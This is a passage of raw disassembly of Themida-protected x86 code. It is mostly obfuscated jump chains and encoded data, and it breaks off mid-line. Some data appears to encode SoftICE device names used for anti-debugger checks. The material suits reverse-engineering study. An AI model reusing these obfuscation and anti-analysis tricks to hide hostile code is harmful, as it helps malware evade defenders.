--------------------------------------------------------------------------- loc_563E1E: ; CODE XREF: Themida_:00558CA0j pop ebp sub ecx, 373E6153h push 49B9h mov [esp], esi mov esi, 3009245Ch or esi, 2B754CFEh add esi, 566C6A65h push esi inc dword ptr [esp] pop esi add esi, 2A446E2Ch shl esi, 5 add esi, 7DB49FB5h sub ecx, esi mov esi, [esp] jmp loc_551074 ; --------------------------------------------------------------------------- loc_563E5C: ; CODE XREF: Themida_:00552C66j add ebp, 2F32E804h push ecx mov ecx, 3137F9h sub ecx, 0FFFFFFFFh shl ecx, 5 push edx mov edx, 1 sub ecx, edx pop edx add ecx, 0FB1326E4h sub edi, 659B2240h sub edi, ecx jmp loc_55C90B ; --------------------------------------------------------------------------- loc_563E8D: ; CODE XREF: Themida_:0055A26Ej mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push 7DEDh jmp loc_551E00 ; --------------------------------------------------------------------------- dd 81E18951h, 4C1h, 4C18100h, 87000000h, 525C240Ch, 81E95A54h db 48h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563EC7: ; CODE XREF: Themida_:0055B3CCj push esp pop esi jmp loc_5607D0 ; --------------------------------------------------------------------------- dw 0EF81h dd 5A316A20h, 0FFE3E3E9h db 0FFh ; --------------------------------------------------------------------------- loc_563ED9: ; CODE XREF: Themida_:0055D880j push ecx push 4 mov ecx, [esp] add esp, 4 sub eax, 1BA55F40h add eax, ecx push esi mov esi, 1BA55F40h add eax, esi pop esi pop ecx add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_55E386 ; --------------------------------------------------------------------------- db 5Ah dd 0FEC59BE9h, 0E9F701FFh, 0FFFEBDA7h ; --------------------------------------------------------------------------- loc_563F14: ; CODE XREF: Themida_:005609A6j pop esp jmp loc_55AD4F ; --------------------------------------------------------------------------- dw 0C381h dd 4, 4C381h, 0E9530000h, 0FFFF04E9h ; --------------------------------------------------------------------------- loc_563F2C: ; CODE XREF: Themida_:00554C46j pop eax shr ecx, 8 jmp loc_55D885 ; --------------------------------------------------------------------------- loc_563F35: ; CODE XREF: Themida_:0055674Fj mov esi, ebp pop ebp add ebp, 482E4E14h sub ebp, esi sub ebp, 482E4E14h mov esi, [esp] jmp loc_55544D ; --------------------------------------------------------------------------- loc_563F4E: ; CODE XREF: Themida_:00557D17j neg edx jmp loc_5549B3 ; --------------------------------------------------------------------------- loc_563F55: ; CODE XREF: Themida_:00557342j mov esi, esp jmp loc_559368 ; --------------------------------------------------------------------------- loc_563F5C: ; CODE XREF: Themida_:00560D69j add esi, ebx add esi, 49293A36h mov ebx, [esp] jmp loc_561B3D ; --------------------------------------------------------------------------- a1sHZ db '1è]h>Z',0 align 4 dd 0FECA96E9h, 87D3F7FFh, 535F241Ch, 52451EBBh, 5BDF0140h dd 3AE68h, 241C8900h, 0FFF043E9h, 0C6895DFFh, 5024048Bh dd 0BE56E089h, 4, 0E95EF001h, 0FFFFF5ACh, 0E904EC83h, 0FFFEB917h dd 5E08950h, 4, 81E28952h, 4C2h, 4EA8100h, 33000000h, 14312414h dd 24143324h, 240C895Ch, 0FFA184E9h, 0E95A5BFFh, 0FFFFD903h dd 3652E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563FEA: ; CODE XREF: Themida_:00557EC1j push 4 push dword ptr [esp] pop ebx add esp, 4 push edx mov edx, 0ECA613Ch sub ebp, edx pop edx add ebp, 6D497C2Dh add ebp, ebx jmp loc_553AFB ; --------------------------------------------------------------------------- dd 4C781h, 0C7830000h, 243C8704h, 6894E95Ch, 5AB6FFFFh dd 0E950EE80h, 0FFFF5592h, 815AD721h, 0ECBABC7h, 5FF98936h dd 0FE360405h, 56C80156h, 856717BEh, 0C075E92Eh, 99BBFFFFh dd 4B0E7269h, 0F381D3F7h, 0B1069F5Ch, 0E901C383h, 0FFFFFA8Bh dd 0C105EAC1h, 0EA8105E2h, 0B1C072F9h, 4AE9D101h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56406F: ; CODE XREF: Themida_:00553E4Cj pop dword ptr [esp] pop esp xor edi, [esp] xor [esp], edi jmp loc_555DF7 ; --------------------------------------------------------------------------- dw 15Bh dd 4335AD0h, 24043124h, 8B240433h, 34FF2424h, 4CAE924h dd 3489FFFFh, 4861E924h, 0EF01FFFFh, 243C875Dh, 0D224248Bh dd 0E99C2424h, 0FFFEB2BDh, 3BB2E947h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5640B6: ; CODE XREF: Themida_:00551943j dec eax sub eax, 66AE039Fh jmp loc_553378 ; --------------------------------------------------------------------------- loc_5640C1: ; CODE XREF: Themida_:0055532Dj xchg ebp, [esp] pop esp mov [esp], edx mov edx, 4 push edx pop ebp mov edx, [esp] add esp, 4 jmp loc_550A1C ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FF4FE6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5640E5: ; CODE XREF: Themida_:005512F5j push eax mov eax, 5B701114h inc eax shl eax, 2 xor eax, 37CB3832h neg eax push ebp mov ebp, 0AD45915Ch add eax, ebp pop ebp jmp loc_55E8BE ; --------------------------------------------------------------------------- dd 0CE805966h, 8E6C098h, 88ADEE80h, 24148BF7h, 6E95456h db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56411B: ; CODE XREF: Themida_:005602D8j pop edi mov ebp, 3CFE6FE8h xor ebp, eax jmp loc_5517C7 ; --------------------------------------------------------------------------- dd 4BDh, 4EC8100h, 89000000h, 0BA52242Ch, 76EC183Ah, 4245431h dd 243C8B5Ah, 0E9E18951h, 0FFFF4C44h, 3927E405h, 2DC8292Eh dd 2E3927E4h, 81240C8Bh, 4C4h, 8FC33100h, 0B203E900h, 0C8BFFFEh dd 6E3DE924h, 0C381FFFFh, 4, 4EB81h, 1C870000h, 1C895C24h dd 0ECE95224h, 68FFFF45h, 2DB7B73h, 83242C8Bh, 0C8904ECh dd 81595424h, 4C1h, 4C18300h, 0FEBD9FE9h, 0C18141FFh, 1BC6E91h dd 0A891C181h, 0CE21DE02h, 81240C8Bh, 4C4h, 2B55E900h dd 2C87FFFFh, 5585C24h, 4, 2BB53h, 80E90000h, 66FFFF36h dd 0D9E9D801h, 1FFFEDEh, 0AC07E9F9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5641EA: ; CODE XREF: Themida_:0055F233j mov esi, esp add esi, 4 add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp add edi, 9541B7ECh add edx, edi jmp loc_5639ED ; --------------------------------------------------------------------------- db 0BBh dd 58DC3F6Fh, 0FF5573E9h, 4C381FFh, 0E9000000h, 0FFFFD0EBh dd 148B5B66h, 4C48124h, 66000000h, 0E88BE951h, 0C701FFFFh dd 0FF14D3E9h db 0FFh ; --------------------------------------------------------------------------- loc_56423D: ; CODE XREF: Themida_:00560802j not ecx push edx mov edx, 0E69243BBh xor ecx, edx jmp loc_5550FB ; --------------------------------------------------------------------------- dd offset dword_4F3044+524h dd 240C8900h, 8904EC83h, 4832424h, 0B7E90424h, 57FFFF95h dd 0A7307DBFh, 5FFD294Bh, 0FEEB6DE9h db 0FFh ; --------------------------------------------------------------------------- loc_564271: ; CODE XREF: Themida_:0055F5E9j sub bl, 0B0h mov ecx, [esp] add esp, 4 sub bl, 96h jmp loc_5553A0 ; --------------------------------------------------------------------------- loc_564285: ; CODE XREF: Themida_:0055C356j pop edi xor edi, 4A7808EBh mov ebx, [esp] push 348Fh mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_56222E ; --------------------------------------------------------------------------- dd 81E28952h, 4C2h, 4EA8300h, 0FF7A65E9h, 0E9EF31FFh, 0FFFFA587h dd 7B82E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5642C2: ; CODE XREF: Themida_:00559045j sub edi, 55574F52h sub edi, 29A1354Ah jmp loc_55FF50 ; --------------------------------------------------------------------------- db 68h dd 46A05D79h, 81243C8Bh, 4C4h, 68C78100h, 81073658h, 294A43C7h dd 60FA68B2h, 3C890000h, 2434FF24h, 4C4835Bh, 81243C8Bh dd 4C4h, 8BDE0100h, 0E955241Ch, 0FFFEDBF3h ; --------------------------------------------------------------------------- loc_564310: ; CODE XREF: Themida_:00551843j sub ecx, 0FE9225C9h jmp loc_55C3D6 ; --------------------------------------------------------------------------- db 58h dd 8904EC83h, 0BB532434h, 782D6D84h, 3763C381h, 0E3813A04h dd 63D57F6h, 0C381D3F7h, 7B211454h, 0E95BDE89h, 0FFFF2B81h dd 0C034C268h, 0F1815927h, 726E798Eh, 4A70E941h, 0F829FFFFh dd 0FF0BD5E9h, 0E95150FFh, 0C2h, 0C689F029h, 0FF8DCDE9h dd 2CD828FFh, 5B952C76h, 557C68h, 241C8900h, 0E9E68956h dd 0FFFFF86Eh, 4C481h, 0D1E90000h, 0BAFFFFB5h, 388563FDh dd 0FF28C2E9h, 58C701FFh, 4C781h, 0E9570000h, 0FFFEB6A5h dd 0E5A924BFh, 0FEEDE982h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5643B2: ; CODE XREF: Themida_:0055458Ej sub ebx, 21B823CDh shl ebx, 3 jmp loc_55665D ; --------------------------------------------------------------------------- dd 0EE819640h, 0C53A2C73h, 815EF501h, 4F789EEDh, 5886E9B2h dd 0C381FFFFh, 87EB067h, 0FEBBFCE9h db 0FFh ; --------------------------------------------------------------------------- loc_5643E1: ; CODE XREF: Themida_:0055F582j mov [esp], esi mov esi, 13E34A95h jmp loc_55A263 ; --------------------------------------------------------------------------- dw 575Ah dd 4BFh, 7685100h, 89000012h, 49BB241Ch, 0E90DB67Ch, 0FFFF9D21h ; --------------------------------------------------------------------------- loc_564408: ; CODE XREF: Themida_:005554A8j pop dword ptr [esp] mov esp, [esp] push eax sub esp, 4 mov [esp], ebx mov ebx, 40h jmp loc_54FE95 ; --------------------------------------------------------------------------- db 1 dd 0B826E9D0h, 0F0B9FFFFh, 89370C2Eh, 137EE9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564432: ; CODE XREF: Themida_:0055DC18j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_551818 ; --------------------------------------------------------------------------- db 0B8h dd 0DFB27F1h, 0E958C289h, 198h, 6383C181h, 0C1291784h dd 6383E981h, 0E9581784h, 0FFFF6CBFh, 53664A04h, 0D80041B3h dd 0E9535B66h, 0FFFF81B6h, 240C8B66h, 0EA168h, 24048900h dd 0FF16F2E9h db 0FFh ; --------------------------------------------------------------------------- loc_564489: ; CODE XREF: Themida_:0055AA90j pop ecx pop ebp pop ecx sub ecx, 29DA292Dh mov edx, [esp] add esp, 4 push esi push 4415h jmp loc_562BCB ; --------------------------------------------------------------------------- db 89h dd 0C2BA2414h, 5316CC43h, 0B8505351h, 6ADA5285h, 8958C389h dd 0D9F75BD9h, 2414F751h, 2E9C159h, 53C3E181h, 0F1815CA5h dd 3415782Dh, 159CB89h, 0E2C15BDAh, 0C2814A07h, 1, 71AAF281h dd 0BD552731h, 58871A66h, 0F1C8ED81h, 0EFE9B38Eh, 8BFFFEE6h dd 0C481242Ch, 4, 0FEDDA2E9h, 5B5453FFh, 7E8168h, 242C8900h dd 3B07DD68h, 0EDC15D75h, 62ED8106h, 81456523h, 2D69DFE5h dd 77BE563Eh, 313B5C5Ch, 31F031C6h, 0FE8AE9C6h, 0EA81FFFFh dd 5FB6464h, 895AD331h, 241C8BD8h, 3104C483h, 0C4E5E9C5h dd 0BE56FFFFh, 4, 4247401h, 243C8B5Eh, 8104C483h, 4C7h dd 6DBA5200h, 81395D25h, 9C7F47F2h, 23C0686Ah, 34890000h dd 1BE24h, 2CE90000h, 0C1FFFF8Fh, 34E907EFh db 48h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56458B: ; CODE XREF: Themida_:0055CB80j mov eax, 35D9204Dh jmp loc_559F0F ; --------------------------------------------------------------------------- db 81h, 0C7h, 0E4h dd 0E996FBABh, 0FFFF8D64h, 0D0284504h, 34FF452Ch, 6D0CE924h dd 565FFFFFh, 0FEED9DE9h, 0C1D5F7FFh, 814506EDh, 0A517C4F5h dd 5DEB093Eh, 461CE381h, 0EB815087h, 277ACFEEh, 0FF6108E9h dd 0BD840FFFh, 68FFFFBFh, 11EAh, 0FF241C89h, 0E9582434h dd 0FFFF8380h, 0E95AD131h, 0FFFECE1Ah, 15EF229h, 0CABB53C2h dd 11B5143h, 5A2DE9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564606: ; CODE XREF: Themida_:005599EEj sub edi, 0CEA30ADFh mov ebx, edi mov edi, [esp] add esp, 4 push esi mov esi, 77547066h sub ebx, esi jmp loc_557407 ; --------------------------------------------------------------------------- loc_564621: ; CODE XREF: Themida_:00563151j mov [esp], eax jmp loc_551EAE ; --------------------------------------------------------------------------- db 5, 4, 0 dd 0FF500000h, 0FF042474h, 83582434h, 48F04C4h, 0C83B5C24h dd 0AD27E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564646: ; CODE XREF: Themida_:00550784j add edx, 4 sub esp, 4 jmp loc_551706 ; --------------------------------------------------------------------------- dd 0FCB6525Bh, 8035EE80h, 0F300E0F6h, 0F7EB805Ah, 0FF0F0DE9h dd 241C89FFh, 13D9E0BBh, 5BD8314Ch, 4FD6B850h, 0D14027F3h dd 960C35E8h, 0EEE9025Dh, 2CFFFFD9h, 426866B0h, 1C896622h dd 1403E924h, 0C483FFFFh, 78C38004h, 0EB80D328h, 2C5A78h dd 0D800A52Ch, 4A504h, 0E92434FFh, 0FFFF32C7h, 0BEC380h dd 535066C3h, 0F888BEB7h, 0FF4E59E9h, 243C89FFh, 0FED4CAE9h dd 2444FEFFh, 805A6601h, 0B75301EEh, 9BEF80EBh, 0E780DFF6h dd 80DFF602h, 0F7800DEFh, 0FD9FE969h, 0E1C1FFFEh, 0F1814105h dd 7D4D79CCh, 1637C181h, 0CD018532h, 1485E959h, 0C181FFFFh dd 45B06930h, 0E981F101h, 45B06930h, 8324348Bh, 0E95504C4h dd 0FFFF32B1h, 8B24048Fh, 0E1E92424h db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56472B: ; CODE XREF: Themida_:005564D7j mov edx, [esp] add esp, 4 jmp loc_558F0D ; --------------------------------------------------------------------------- loc_564736: ; CODE XREF: Themida_:0056364Cj push 3E6Ah mov [esp], edx mov edx, 1B353FDBh sub ebx, edx pop edx add ebx, edx jmp loc_55C125 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 76CFEF81h, 0BE56BD2Ah, 7ECF066Ch, 348BF229h, 4C48124h dd 81000000h, 0AE4065C2h, 40E6E91Eh, 0BA52FFFFh, 1E751958h dd 0FF3367E9h, 242C89FFh, 268h, 0EB815D00h, 396D7AA8h dd 0C381EB01h, 396D7AA8h, 5D2434FFh, 4C481h, 7FE90000h dd 66FFFEE6h, 74FF6656h, 47E90224h db 0EBh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5647AF: ; CODE XREF: Themida_:0055F174j push edi sub dword ptr [esp], 1 pop edi or edi, 56216252h jmp loc_55C294 ; --------------------------------------------------------------------------- db 0E8h dd 10h, 45ECF67Bh, 66389710h, 0A92C140Bh, 0EABE5BBFh, 5800Fh dd 73BF0000h, 5854B0B1h, 81FFBF0Fh, 7371C0h, 1161BF00h dd 0B3680750h, 6600001Ch, 0BF5ED18Bh, 74AC23E7h, 0B70F188Bh dd 0A0F381C9h, 0F6BC703h, 681h, 0C1958B00h, 81064E30h dd 0D1574EC3h, 0CFB70F3Eh, 0B7D4EB81h, 0BD2967E2h, 64E0F05h dd 95031889h, 64E1B61h, 6603E883h, 1387C281h, 29958B48h dd 83064E15h, 850F01EEh, 18h, 268DBD8Bh, 1AE9064Eh, 0F3000000h dd 523AEFCh, 48FF7885h, 63C18147h, 95E9D38Bh, 0B9FFFFFFh dd 4476B120h, 5536EBFAh, 33524553h, 6C642E32h, 4441006Ch dd 49504156h, 642E3233h, 4E006C6Ch, 4C4C4454h, 6C6C642Eh dd 0A07D700h, 12000400h, 12000B00h, 0E9001300h, 39738700h dd 904E93Dh, 44680000h, 0E90650A2h, 0FFFDDE29h, 50A2C268h dd 0DE1FE906h, 0DC68FFFDh, 0E90650A3h, 0FFFDDE15h, 50A54268h dd 0DE0BE906h, 0B068FFFDh, 0E90650A5h, 0FFFDDE01h, 50A6D868h dd 0DDF7E906h, 5468FFFDh, 0E90650A7h, 0FFFDDDEDh, 1B98541Fh dd 2BA8242Dh, 3EBB313Dh, 4BC80450h, 5FDC105Dh, 501D150Eh dd 21311F9Ch, 31402EABh, 503EBBh, 0AF764FCCh, 0D6959ED9h dd 0CE9570B7h, 3AD3200Fh, 4634F7A1h, 971DBF3Dh, 0D2FE7B06h dd 0F10DAED2h, 44770B09h, 0E7BD840Ah, 0B474E28Dh, 0BC92FD83h dd 0DA728610h, 0E5E76E5Ch, 50B8DC54h, 7D31B389h, 0D89FD4E0h dd 4CC17502h, 8D1399E4h, 0C41107C6h, 5F03CC6Bh, 80B42CCEh dd 508B6128h, 0FEDA9A83h, 0FCF2B178h, 1FDD5035h, 0E2D09728h dd 0EFDD5A92h, 0D09F6B61h, 0F722291Eh, 7730055h, 0B6C10000h dd 86CBB936h, 93DBC946h, 62EEDC59h, 76FFED6Ah, 7BA8F976h dd 0B12EAEB7h, 0C03DBFC3h, 0CC4983D2h, 0D95696DEh, 14633900h dd 2B7D694h, 0F77D9C27h, 0B9DB53F5h, 0E2B2884Fh, 0AB47655h dd 960A6D43h, 0FF83B7D6h, 70D55BFDh, 6EF459EAh, 32AAB9A7h dd 5127EEB5h, 0B7D69526h, 0EC7462E8h, 0E2715FF0h, 95A4D3A9h dd 98E9B7D6h, 0F379FF64h, 0DF1D6351h, 0E54B4E13h, 6ABF6148h dd 6F5h, 3BB8343Fh, 4BC8044Dh, 5EDB115Dh, 6BE8E470h, 7FFCF07Dh dd 303DF52Eh, 1513FBCh, 11604ECBh, 0E0705EDBh, 0CF966FECh dd 0D6947EF9h, 2AB590B7h, 53F5F77Dh, 3BDD1F65h, 3855A68Fh dd 577E378Dh, 724Fh, 0F77DC400h, 3699DEB4h, 0BE7DBE27h dd 0E7A8B354h, 3EC44A6Fh, 0DE9536C1h, 0A7BE2736h, 39B3BBD9h dd 0E8B1197h, 430AE296h, 74BB416Dh, 7E45CBB4h, 7A0BC190h dd 0A2DECB3h, 0B4C1E00Eh, 0A0D7AD74h, 6EB7D866h, 1A6957E8h dd 66ACCBA1h, 0E46AB7D8h, 6CF3E15Eh, 5679CE70h, 0B2000006h dd 0BA7B1F3h, 0CD4C1CF2h, 8AB827E1h, 35B675FBh, 74207F82h dd 7D770293h, 0DB53F5F7h, 0B2884FB9h, 0B474C9AEh, 2F1D9A20h dd 0F6E4AB21h, 4AD0726Ah, 87753CB9h, 0D75DFFFDh, 0D0619BE9h dd 5CC2458h, 0C903503Eh, 342D6238h, 5BE1AE28h, 0B5DFA694h dd 78D2FADh, 0B60D6A40h, 7B01BE08h, 0FB8A78F5h, 0D9985F01h dd 0BFBEF83Ch, 0AF9D2EC1h, 0A45F2BA1h, 0A342B352h, 5DBAC01h dd 0E590000h, 1E6351CEh, 0EB7361DEh, 0FA8674F1h, 0CE978502h dd 0E340910Eh, 49C6064Fh, 58D5175Bh, 64E11B6Ah, 71EEEE76h dd 7CFBD198h, 9AB7D693h, 0DDA434BFh, 27367007h, 87189EBEh dd 4A11CB99h, 49DA125Ch, 0F0ABB9A7h, 27365D1Ah, 0A52BB1BEh dd 1D6E5703h, 27294091h, 0DD9A70BEh, 31BE2735h, 8BE25ABh dd 0D4577E23h, 0FFFFFED6h, 0F5F77D49h, 0EFC58C53h, 0BE273688h dd 0F76F0086h, 0DDA46B45h, 8DCA571Eh, 17ED129Eh, 0BE26B960h dd 8A6928AEh, 51307013h, 936930C1h, 0B4749435h, 28A01DA3h dd 0FFD59C74h, 0AE26702Dh, 93E4BA81h, 0FABE26BCh, 4CD27468h dd 6BD061E7h, 59FBF17Dh, 496E14D3h, 0F6847786h, 7CF8CE70h dd 8BE2647h, 14B1CE1Fh, 0EB577D49h, 4F294E24h, 67EDBE26h dd 1CAEED6h, 0A4630000h, 367007DDh, 8344BE27h, 64932D48h dd 0F8B73DA2h, 5BB10A67h, 6CD96A3Ch, 3532F140h, 5B7F8776h dd 5CFEFE8Ah, 47BF50D6h, 1EF4BB15h, 0B474F456h, 5C1BF1B8h dd 0BAB7D904h, 6D43AE34h, 0DA72A05Fh, 19D3A18Fh, 846C1088h dd 4B81CFBDh, 0C71DF3BAh, 69D4E09Eh, 97C941E3h, 0FF88763Dh dd 0CFA56CFDh, 0DA9AE60Ch, 87753CC2h, 19D39BF9h, 58281693h dd 4CF9F26Bh, 0C04619B3h, 292D43F4h, 378C2E22h, 475h, 0BB38B4BFh dd 0CB4884CDh, 0DE5B91DDh, 0EB6864F0h, 0FF7C70FDh, 0B0BD75AEh dd 81D1BF3Ch, 91E0CE4Bh, 60F0DE5Bh, 4F16EF6Ch, 0D691FE79h dd 0AA3510B7h, 33A9B6A4h, 531D0B91h, 0E071F799h, 15DC3468h dd 7648FD3Fh, 0A66DF3B4h, 6C33A9B8h, 0C18EF67Eh, 5DE3690Bh dd 48EAE26Fh, 0C6B431C2h, 0AD9B3DBFh, 0B25925A7h, 8948E54Bh dd 40792E7h, 222D0000h, 323F2DAAh, 74F3DBAh, 0E5A48C5h dd 1A6351CEh, 0F1465E2h, 25A25A23h, 34B12B37h, 40BD3F46h dd 4DCA0252h, 0A0D7AD74h, 6EB7D691h, 0B6A40893h, 40BCC8ACh dd 0D392189Eh, 43655D8Bh, 7361F2C9h, 81FBB6EDh, 5FC3D4C1h dd 3B4937D9h, 1B680C59h, 33B93FE1h, 37BD3F45h, 23D9A795h dd 0A7CD9381h, 0FA8022DAh, 6B54D274h, 0F0EC761Ah, 9642C84Eh dd 1D05CADh, 3BBE267Bh, 808E7554h, 81F6CC4Bh, 95BE26AEh dd 9C03890Fh, 577D9C2Ah, 0FFFCD9B6h, 0F77D2BFFh, 9E8C53F5h dd 272E1CD0h, 0EC7D03A5h, 0EAFC074h, 3952E824h, 0CF965DE3h dd 66F094E1h, 0B83EC466h, 0D2A29016h, 61F2781Ah, 748FE18Bh dd 2CA92FB4h, 0ACEF7765h, 0D897A1D6h, 69EF75B7h, 25B041C7h dd 0ABCDD7FEh, 0D0A47A41h, 3EB4752Ah, 542AF1B8h, 0B7D93223h dd 71DC6DF3h, 0F1B4069Bh, 93E0CECFh, 2C50C859h, 0BD27FDC4h dd 73061B55h, 0A1D34BEDh, 31AA8047h, 0ED0C5D9Fh, 0A6B2A067h dd 0E0CE9526h, 0F1DF5C90h, 9D6963h, 0C3F0EE15h, 2DFCC21h dd 0A550000h, 1A6755D2h, 0EF7765E2h, 0F68270EDh, 0C28B79F6h dd 0E73C8D0Ah, 4DCA024Bh, 5CD9135Fh, 68E5E76Eh, 75F2EA7Ah dd 78FFD59Ch, 96B7D690h, 41F330BBh, 0A0B2A067h, 73048A2Ch dd 4964D6ACh, 6F2EB476h, 0D878851Eh, 58820BFh, 48F95A19h dd 1EFB63Ch, 0FFD7A72h, 0D7C58C40h, 0B0864D8Fh, 0B7D70AC7h dd 8E30C147h, 518BD9C7h, 0AA9829AFh, 0C35622DAh, 7248E4D6h dd 2637BD0h, 86D10000h, 96DBC946h, 63EBD956h, 72FEEC69h dd 460FFD7Ah, 6BB80986h, 0C13EBEC7h, 0D04D8FD3h, 0DC5993E2h dd 0E96666EEh, 4734910h, 12B7D690h, 41F3AC37h, 36275026h dd 61E7BE27h, 0FC3E14DBh, 96B47648h, 9A20DCA8h, 5D9FE5D3h dd 24D8A896h, 0F69E1693h, 9578FFD5h, 213CB7D6h, 0A5C3DB80h dd 0E56BF156h, 3C98571Eh, 195E34A3h, 0FDB7D645h, 865AB877h dd 6765EDDBh, 28A500D6h, 803FB7D7h, 92798E3Fh, 2B90215Ah dd 481503A5h, 0D9A0F294h, 0C36567EBh, 0B1BEAC3Dh, 1E46BE3Bh dd 4E21F7BEh, 0C0B7D731h, 0DAAA983Ah, 402E8022h, 513FBC30h dd 6027C903h, 5AEBE172h, 3019FFEDh, 0ED7462DFh, 7A7201EFh dd 0D3C152D8h, 0E4D24F8Dh, 0D0BE609Ch, 54A34587h, 0EE761A6Bh dd 0FA8371EEh, 0D2996002h, 0D7317BFCh, 0A6AD9BB7h, 0A20FA026h dd 3EBEC44Ah, 2AA2AE9Ch, 0A3F4DD88h, 499A8367h, 482F05CCh dd 0C6B7D731h, 0B4C1AF40h, 0D4AA7138h, 0B7D731A3h, 0DF5CED73h dd 0C66864F1h, 0B15389D8h, 9E40BCC3h dd 8A2CA0B0h, 96D2230Ch, 61DE2F18h, 31B3C49Ah, 0DD63B7D7h dd 0C56765EFh, 0B7C0AE3Fh, 3F1B835h, 59DF817Bh, 528ADAC8h dd 0B0D49D8Bh, 12A329A3h, 8A939A70h, 6D56C00Bh, 0F4E8781Ch dd 0BC303F2Dh, 0A7252C1Ah, 25139021h, 34FB9D5Fh, 0A7D0A66Dh dd 670003D4h, 0D46C0BE1h, 0BCAA0003h, 119739B3h, 430CFA8Bh dd 4903C289h, 0D8BF7371h, 4B1FC152h, 7C71C584h, 85F4724Bh dd 16BA0BF4h, 23118E4Eh, 36FD9F5Dh, 0FFB4BD77h, 64F59F6Ah dd 996048ECh, 899E13D2h, 7AFC77B8h, 0DD4D13E9h, 75FBF651h dd 36B6C0AEh, 7D0E94h, 0C5074B39h, 940C9D23h, 7A4108E0h dd 0D39DC78Ch, 6BF17719h, 0F46604DAh, 4AD0FC08h, 32AABAA8h dd 7200EEB5h, 75FBE97Ah, 36FFD577h, 2785131Dh, 0DFB9D5Fh dd 69E78943h, 1FF32F80h, 0A968E536h, 8903E9F9h, 4F25EC63h dd 38D26D28h, 0E1CF60E6h, 0D3925993h, 0E16DB552h, 4C349EBh dd 30C1F230h, 70FEECB3h, 0C354DA7Ch, 864D8FD5h, 0B906FFC7h dd 0CC5D74D6h, 54303C2Ah, 0A72DCF0Dh, 18017F21h, 9F5D23C7h dd 619BEAD8h, 54B39BFh, 0E9F25C7h, 1FDDA391h, 3287Dh, 1F9D0000h dd 0FAF27D94h, 0E21A6A58h, 0C9035240h, 0B3293927h, 0A25A2311h dd 87451200h, 6F6DF7E5h, 5597DFCDh, 40BCC5B3h, 8952129Eh dd 4C281E2h, 83000000h, 148704EAh, 24248B24h, 81E28952h dd 4C2h, 4EA8300h, 5C241487h, 68240489h, 0B50h, 57242C89h dd 50A1A2BFh, 8BF88906h, 0C481243Ch, 4, 7DE68h, 24248900h dd 4240483h, 4EC815Dh, 89000000h, 458F2404h, 2434FF08h dd 4C4835Dh, 5724048Bh, 0C781E789h, 4, 4C781h, 3C870000h dd 3AE95C24h, 0DEFFFDD5h, 36200853h, 6807787Dh, 0DCB880ABh dd 30650A9h, 0EE0FFC5h, 70735D5Eh, 9D5C97D3h, 0E09C314h dd 100526FEh, 266C50B3h, 0B408244Fh, 0DF138C5Fh, 200DAA0Ah dd 0A71F8C56h, 8232433Eh, 1D49424Ch, 87367F62h, 652295F7h dd 164AD40Bh, 0FD00975Eh, 0AA343846h, 0DC7C12BAh, 63399A2Bh dd 0C808242Eh, 0E92FB24Ah, 73h, 49BD8360h, 64E0Dh, 5840Fh dd 5EE90000h, 6A000000h, 303E8000h, 8850Fh, 6A0000h, 35E946h dd 3E800000h, 8850F33h, 6A000000h, 24E94610h, 80000000h dd 850F343Eh, 8, 0E946306Ah, 13h, 0F353E80h, 885h, 46406A00h dd 2E9h, 8D006A00h, 4E29CD85h, 4895006h, 34895024h, 0FF006A24h dd 4E0A0D95h, 0C6C36106h, 4E040185h, 2A684D06h, 81F4A14Bh dd 3D822434h, 0B5FF5094h, 64E215Dh, 39D8858Dh, 0D0FF064Eh dd 0A0D8589h, 12E8064Eh, 69000000h, 6EC261A5h, 0A9FEF3F2h dd 5BAA12A9h, 333754FBh, 9850166h, 5F064E06h, 73EBC781h dd 8D8B0000h, 64E08ADh, 13E9DB33h, 12000000h, 7DFB6239h dd 0F06712Bh, 7C0C16D2h, 561D4B46h, 34FF274Ch, 0B5BD893Bh dd 58064E05h, 10E9h, 0A3210F00h, 0BFB93694h, 84572B2Bh dd 978D792Ch, 0A5F0818Fh, 0F6E609Bh, 0E881CEB7h, 6566A7AFh dd 9E8h, 85473C00h, 0F317A822h, 0B70FC80Dh, 0E8815EF0h dd 1E245ABCh, 13DDBD29h, 8B50064Eh, 1F048FC8h, 0E6D98152h dd 5961C1AFh, 12B5BD29h, 0EB83064Eh, 0CE802h, 0B2850000h dd 0C6DBB8B0h, 0C63F9C1Fh, 4B5AB40Bh, 81CE8B4Bh, 0FF8CF0FBh dd 11850FFFh, 66000000h, 13E9F18Bh, 8F000000h, 0B1487981h dd 88F2D5EEh, 0FFFF65E9h, 0D792A7FFh, 1EEB0633h, 5C2E5C5Ch dd 45434953h, 2E5C5C00h, 5749535Ch, 444956h, 5C2E5C5Ch dd 4349544Eh, 0C08B0045h, 1365B58Bh, 0BD83064Eh, 64E2D45h dd 83097500h, 4E19E1BDh, 19740006h, 0C08B5350h, 40FB8h dd 0B9858900h, 8D064E21h, 50B9419Dh, 5BD3FF06h, 0E1BD8358h dd 64E19h, 53501774h, 40FB8h, 0B9858900h, 8D064E21h, 50B6309Dh dd 5BD3FF06h, 9E958h, 94FE0000h, 0BDE99A3h, 576221ACh dd 8099D89h, 8B5F064Eh, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 53E55BDCh, 9C9847D9h dd 